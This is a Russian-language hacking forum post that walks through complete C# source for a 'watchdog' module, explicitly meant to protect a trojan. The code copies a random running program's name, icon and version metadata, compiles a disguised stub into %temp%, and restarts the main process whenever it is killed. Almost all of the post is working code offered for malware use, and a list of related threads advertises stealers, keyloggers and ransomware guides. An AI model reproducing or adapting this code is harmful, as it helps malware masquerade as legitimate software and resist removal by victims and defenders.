Интересно C# - Пишем Watchdog (Модуль защиты вашего трояна)

LightMan

Ufo Member
Сообщения
9
Реакции
17
Посетить сайт
:devilish: Сегодня напишем вачдог который позже сможем использовать при написании малвари.
Watchdog это отдельный процесс который будет следить за основным, и при завершении основного он его перезапустит.


Алгоритм работы:
  1. Находим рандомный процесс.
  2. Полностью копируем его информацию (имя, иконка, описание).
  3. Используя CodeDom.Compiler собираем стаб вачдога из ресурсов и заменяем там нужные нам значения.
  4. Копируем скомпиленый вачдог в папку %temp% и запускаем его оттуда.
  5. При завершении основного процесса вачдог его перезапустит.

Файл /Watchdog/Utils/ProcessUtils.cs
Там находяться функции для работы с процессами (Извлечь иконку, найти путь к .ехе)
C#:
using System.IO;
using System.Drawing;
using System.Management;
using System.Diagnostics;
using System.Collections.Generic;

namespace Application.Watcher
{
    internal sealed class ProcessUtils
    {
        public static readonly Process CurrentProcess = Process.GetCurrentProcess();

        private static string FindIndexedProcessName(int pid)
        {
            var processName = Process.GetProcessById(pid).ProcessName;
            var processesByName = Process.GetProcessesByName(processName);
            string processIndexdName = null;

            for (var index = 0; index < processesByName.Length; index++)
            {
                processIndexdName = index == 0 ? processName : processName + "#" + index;
                var processId = new PerformanceCounter("Process", "ID Process", processIndexdName);
                if ((int)processId.NextValue() == pid)
                {
                    return processIndexdName;
                }
            }
            return processIndexdName;
        }

        private static Process FindPidFromIndexedProcessName(string indexedProcessName)
        {
            var parentId = new PerformanceCounter("Process", "Creating Process ID", indexedProcessName);
            return Process.GetProcessById((int)parentId.NextValue());
        }

        /// <summary>
        /// Find parent process
        /// </summary>
        /// <param name="process">Process object</param>
        /// <returns>Process object</returns>
        public static Process GetParent(Process process)
        {
            return FindPidFromIndexedProcessName(FindIndexedProcessName(process.Id));
        }

        /// <summary>
        /// Find process to copy
        /// </summary>
        public static Process GrabRandomProcess()
        {
            List<Process> possible = new List<Process>();
            foreach (Process process in Process.GetProcesses(System.Environment.MachineName))
            {
                try {
                    if (CurrentProcess.Id != process.Id
                        && !string.IsNullOrEmpty(process.MainModule.FileVersionInfo.CompanyName)
                        && !string.IsNullOrEmpty(ProcessUtils.ProcessExecutablePath(process))
                    ) possible.Add(process);
                } catch (System.ComponentModel.Win32Exception) { continue; }
            }
            // If process count is 0
            if (possible.Count == 0)
                return null;
            // Return random process
            return possible[new System.Random().Next(0, possible.Count)];
        }

        /// <summary>
        /// Get process icon
        /// </summary>
        /// <param name="process">Process object</param>
        /// <returns>Bitmap</returns>
        public static string GrabIcon(Process process)
        {
            string ico = Path.Combine(Path.GetTempPath(), process.ProcessName + ".ico");
            string exe = ProcessExecutablePath(process);

            using (Stream stream = File.OpenWrite(ico))
            {
                Icon.ExtractAssociatedIcon(exe)
                    .Save(stream);
            }
            return ico;
        }

        /// <summary>
        /// Get process executable location on disk
        /// </summary>
        /// <param name="process">Process object</param>
        /// <returns>executable path</returns>
        public static string ProcessExecutablePath(Process process)
        {
            try {
                return process.MainModule.FileName;
            } catch {
                string query = "SELECT ExecutablePath, ProcessID FROM Win32_Process";
                ManagementObjectSearcher searcher = new ManagementObjectSearcher(query);

                foreach (ManagementObject item in searcher.Get())
                {
                    object id = item["ProcessID"];
                    object path = item["ExecutablePath"];

                    if (path != null && id.ToString() == process.Id.ToString())
                    {
                        return path.ToString();
                    }
                }
            }
            return "";
        }

    }
}

Файл /Watchdog/Utils/Compiler.cs
Он будет компилить наш вачдог с нашими параметрами
C#:
using System;
using System.IO;
using System.Diagnostics;
using System.CodeDom.Compiler;
using System.Collections.Generic;
using Microsoft.CSharp;

namespace Application.Watcher
{
    internal sealed class Compiler
    {
        /// <summary>
        /// Compile watchdog and return location
        /// </summary>
        /// <param name="random_process">Process to steal icon, name</param>
        /// <returns>Executable location</returns>
        public static string CompileWatcher(in Process random_process)
        {
            Process protect_process = Process.GetCurrentProcess();
            string iconLocation = ProcessUtils.GrabIcon(random_process);
            string watcherLocation = Path.Combine(Path.GetTempPath(), random_process.ProcessName + ".exe");
            // Replace values
            string source = Properties.Resources.Observer
                .Replace("%WatchDogModule%", random_process.ProcessName)
                .Replace("%ExecutablePath%", ProcessUtils.ProcessExecutablePath(protect_process))
                .Replace("%Arguments%", Watchdog.commandLineArgs.Replace("--restarted", ""))
                .Replace("%ProcessID%", protect_process.Id.ToString())
                .Replace("%Sleep%", new Random().Next(200, 450).ToString())
                .Replace("%AssemblyDescription%", random_process.MainModule.FileVersionInfo.FileDescription)
                .Replace("%AssemblyFileVersion%", random_process.MainModule.FileVersionInfo.FileVersion)
                .Replace("%AssemblyCompany%", random_process.MainModule.FileVersionInfo.CompanyName)
                .Replace("%AssemblyCopyright%", random_process.MainModule.FileVersionInfo.LegalCopyright)
                .Replace("%AssemblyTrademark%", random_process.MainModule.FileVersionInfo.LegalTrademarks)
                .Replace("%Guid%", Guid.NewGuid().ToString());
            // Set options
            string[] referencedAssemblies = new string[] { "System.dll" };
            var providerOptions = new Dictionary<string, string>() { {"CompilerVersion", "v4.0" } };
            var compilerOptions = $"/target:winexe /platform:anycpu /optimize+";
            // Set icon
            if (File.Exists(iconLocation))
                compilerOptions += $" /win32icon:\"{iconLocation}\"";
            // Compile
            using (var cSharpCodeProvider = new CSharpCodeProvider(providerOptions))
            {
                var compilerParameters = new CompilerParameters(referencedAssemblies)
                {
                    GenerateExecutable = true,
                    OutputAssembly = watcherLocation,
                    CompilerOptions = compilerOptions,
                    TreatWarningsAsErrors = false,
                    IncludeDebugInformation = false,
                };
                var compilerResults = cSharpCodeProvider.CompileAssemblyFromSource(compilerParameters, source);
                // Show errors if exists
                if (compilerResults.Errors.Count > 0)
                    foreach (var error in compilerResults.Errors)
                        Console.WriteLine(error);
            }

            // Clean, return
            if (File.Exists(iconLocation)) File.Delete(iconLocation);
            if (File.Exists(watcherLocation)) return watcherLocation;

            return null;
        }
    }
}

Файл /Resources/Watchdog.txt
Находиться в ресурсах проекта и именно его будем компилить через файлик выше.
Он будет висеть в фоне и смотреть за основным процессом.
Значения в символах %% будут заменены при компиляции.
C#:
using System;
using System.IO;
using System.Threading;
using System.Reflection;
using System.Diagnostics;

[assembly: AssemblyDescription(@"%AssemblyDescription%")]
[assembly: AssemblyFileVersion(@"%AssemblyFileVersion%")]
[assembly: AssemblyCompany(@"%AssemblyCompany%")]
[assembly: AssemblyCopyright(@"%AssemblyCopyright%")]
[assembly: AssemblyTrademark("%AssemblyTrademark%")]
[assembly: AssemblyConfiguration("Release")]
[assembly: System.Runtime.InteropServices.Guid("%Guid%")]

namespace %WatchDogModule%
{
    class Program
    {
        // Settings
        static Process process;
        static int pid = Int32.Parse(@"%ProcessID%");
        static int wait = Int32.Parse(@"%Sleep%");
        static string args = @"%Arguments%";
        static string executable = @"%ExecutablePath%";

        static void Main(string[] args)
        {
            // Try get process information
            try {
                process = Process.GetProcessById(pid);
            } catch (ArgumentException) {
                Environment.Exit(1);
            }
            
            // Wait for process exit
            while (true)
            {
                process.Refresh();
                if (process.HasExited)
                    process = Restart(executable);
                Thread.Sleep(wait);
            }
        }

        // Restart process if killed and return Process object
        private static Process Restart(string executable)
        {
            // If failed to find main process
            if (!File.Exists(executable))
                Environment.Exit(1);
            // Start process
            using (var process = new Process())
            {
                // Start info
                process.StartInfo = new ProcessStartInfo
                {
                    FileName = executable,
                    Arguments = args + " --restarted",
                    WorkingDirectory = Path.GetDirectoryName(executable)
                };
                process.Start();
                // Wait for process
                while (string.IsNullOrEmpty(process.MainWindowTitle))
                {
                    Thread.Sleep(100);
                    process.Refresh();
                }
                // Return process
                return Process.GetProcessById(process.Id);
            }
        }

    }
}


Файл /Watchdog/Watchdog.cs
Тут находяться функции запуска и остановки
C#:
using System;
using System.IO;
using System.Threading;
using System.Diagnostics;

namespace Application.Watcher
{
    internal sealed class Watchdog : IDisposable
    {
        public Process WathdogProcess;
        private static readonly string exe = ProcessUtils.CurrentProcess.ProcessName + ".exe";
        public static readonly string commandLineArgs = string.Join(" ", Environment.GetCommandLineArgs())
                                                                        .Replace(Path.GetFullPath(exe), "")
                                                                        .Replace(exe, "");
        public readonly bool IsRestarted = commandLineArgs.Contains("--restarted");

        /// <summary>
        /// Initialize
        /// </summary>
        public Watchdog()
        {
            if (this.IsRestarted == true) // Find current parent process (watchdog)
                this.WathdogProcess = ProcessUtils.GetParent(ProcessUtils.CurrentProcess);
        }

        /// <summary>
        /// Dispose
        /// </summary>
        public void Dispose()
        {
            this.StopWatcher();
            GC.Collect();
        }

        /// <summary>
        /// Start watchdog service
        /// </summary>
        /// <returns>Status</returns>
        public bool StartWatcher()
        {
            // Grab random process
            Process random_process = ProcessUtils.GrabRandomProcess();
            if (random_process == null)
                return false;
            // Compile watchdog executable
            string exe = Compiler.CompileWatcher(random_process);
            if (string.IsNullOrEmpty(exe))
                return false;
            // Start watchdog in new thread
            Thread t = new Thread(() =>
                this.WathdogProcess = Process.Start(exe));
            t.IsBackground = true;
            t.Start();
            // Wait for process start
            while (this.WathdogProcess == null && t.IsAlive)
                Thread.Sleep(100);
            // Change process priority
            this.WathdogProcess.PriorityClass = ProcessPriorityClass.RealTime;
            return true;
        }

        /// <summary>
        /// Stop watchdog service
        /// </summary>
        /// <returns>Status</returns>
        public bool StopWatcher()
        {
            try
            {
                if (this.WathdogProcess.HasExited == false)
                {
                    string exe = ProcessUtils.ProcessExecutablePath(this.WathdogProcess);
                    this.WathdogProcess.Kill(); // Kill watchdog process
                    // Delete watchdog executable
                    if (File.Exists(exe)) File.Delete(exe);
                }
            } catch (Exception) { return false; }
            return true;
        }

    }
}

C#:
using System;

namespace Application
{
    class Program
    {
        static void Main(string[] args)
        {

            using (var watcher = new Watcher.Watchdog())
            {
                // Значение watcher.IsRestarted будет равно
                // true если основной процесс был убит
                // но вачдог его перезапустил
                // иначе равно false
                if (!watcher.IsRestarted)
                    watcher.StartWatcher();

                Console.WriteLine("Press ENTER to stop watchdog");
                Console.ReadLine();
                
            } // watcher.StopWatcher();
        }
    }
}


Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.




Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.





Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

 
  • Like
Реакции: Рыцарь и st.ap
Название темы
Автор Заголовок Раздел Ответы Дата
K Интересно [Roman Akhromieiev] Telegram. Пишем ботов на Node JS и Telegraf (2020) Другое 1
Daniel01 Пишем малютку для скана сайта Софт от наших юзеров 6
АнАлЬнАя ЧуПаКаБрА Интересно Пишем брут на любой(почти) банк [OFX] Другие ЯП 1
shellest Пишем свой перехватчик СМС Android Другие ЯП 2
T0pDro4eR Пишем WinLocker на Delphi С/C++ 0
NikitaBoom Пишем отзывы и получаем от 200 рублей в день. Способы заработка 12
Forevonly Пишем парсер на Python - грабим Proxy ч.2 Бруты/Парсеры/Чекеры 0
Forevonly Пишем парсер на Python - грабим Proxy ч.1 Бруты/Парсеры/Чекеры 2
Forevonly Пишем скрипт для работы с VirusTotal-ом Полезные статьи 0
Forevonly Пишем шифровальщик на python Полезные статьи 0
Traven Пишем спамер Telegram, на Python Другое 0
Traven Пишем свой стиллер на Python Другие ЯП 4
Traven WinLocker на python. Пишем вирус. Другое 0
VLAD1337 Пишем переносной кейлоггер на C++ Полезные статьи 1
OUTCAST Пишем стиллер на Batch Вирусология 15
AngelOfLove Delphi для начинающих – Урок 6 – Пишем свой калькулятор С/C++ 0
eceNin [PHP] Пишем свой движок 2.0 Другие ЯП 0
Glods Пишем многопоточный Brute С/C++ 0
rif009 Пишем билдер C# вариант 1 .NET 2
kdroshev Модуль Платежной Системы Intellectmoney https://cloud.mail.ru/public/6ARr/DvFJwiG9W Другое 0

Название темы